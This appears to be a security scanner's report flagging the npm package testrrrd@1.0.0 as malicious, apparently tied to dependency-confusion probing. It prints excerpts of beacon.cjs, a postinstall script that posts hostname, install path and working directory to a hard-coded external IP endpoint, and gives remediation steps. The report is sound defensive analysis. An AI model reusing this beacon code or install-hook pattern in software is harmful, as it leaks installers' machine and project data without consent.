testrrrd@1.0.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 14d ago · by lpm-firewall-aiSource confirms an automatic install-time beacon that sends host and project metadata to an unrelated fixed endpoint. This is concrete exfiltration behavior, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm postinstall or importing index.js
Impact
The operator of the endpoint receives identifying host and project-path metadata without an install-time opt-in.
Mechanism
beacon.cjs gathers the hostname, install path, current working directory, and npm user agent, then sends them in an HTTP POST.
Attack narrative
During installation, the postinstall hook runs beacon.cjs, which posts the hostname, install path, working directory, and npm user agent to a fixed external IP. Importing the package also invokes the beacon. This is active metadata exfiltration.
AI rationale
Source confirms an automatic install-time beacon that sends host and project metadata to an unrelated fixed endpoint. This is concrete exfiltration behavior, so the package should be blocked.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs beacon.cjs automatically.
- beacon.cjs sends an HTTP POST to a fixed external IP address.
- The payload includes the machine hostname, install path, working directory, and npm user agent.
- Importing index.js also triggers the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "index.js",
"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
High
Suspicious Lifecycle Evidence
The postinstall hook runs beacon.cjs automatically.
package.jsonView on unpkg · L5beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "testrrrd";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to testrrrd@1.0.0.
See all versions of testrrrd for other recorded verdicts.
- Avoid installing testrrrd@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.